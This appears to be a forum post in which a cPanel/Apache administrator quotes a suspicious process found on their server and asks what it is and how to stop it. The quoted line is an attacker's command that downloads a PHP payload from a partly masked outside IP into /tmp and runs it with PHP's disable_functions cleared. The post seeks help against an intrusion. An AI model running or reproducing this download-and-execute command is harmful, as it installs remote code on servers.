I use cPanel and apache.
I see this process in my server:
opt/cpanel/ea-php74/root/usr/bin/php -d disable_functions= /tmp/codeItems3
root 17549 0.0 0.0 27180 972 ? Ss Apr16 0:00 jailshell (amolnxxx) [17581] ll -c sleep 3; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.X.x/start.php?v=1 curl -s --compressed --max-time 30 http://45.140.X.X/start.php?v=1 > /tmp/codeItems3 ) && ( /usr/local/bin/php -d disable_functions="" /tmp/codeItems3 /usr/bin/php -d disable_functions="" /tmp/codeItems3 || php -d disable_functions="" /tmp/codeItems3 )
What is the problem? How do I stop it?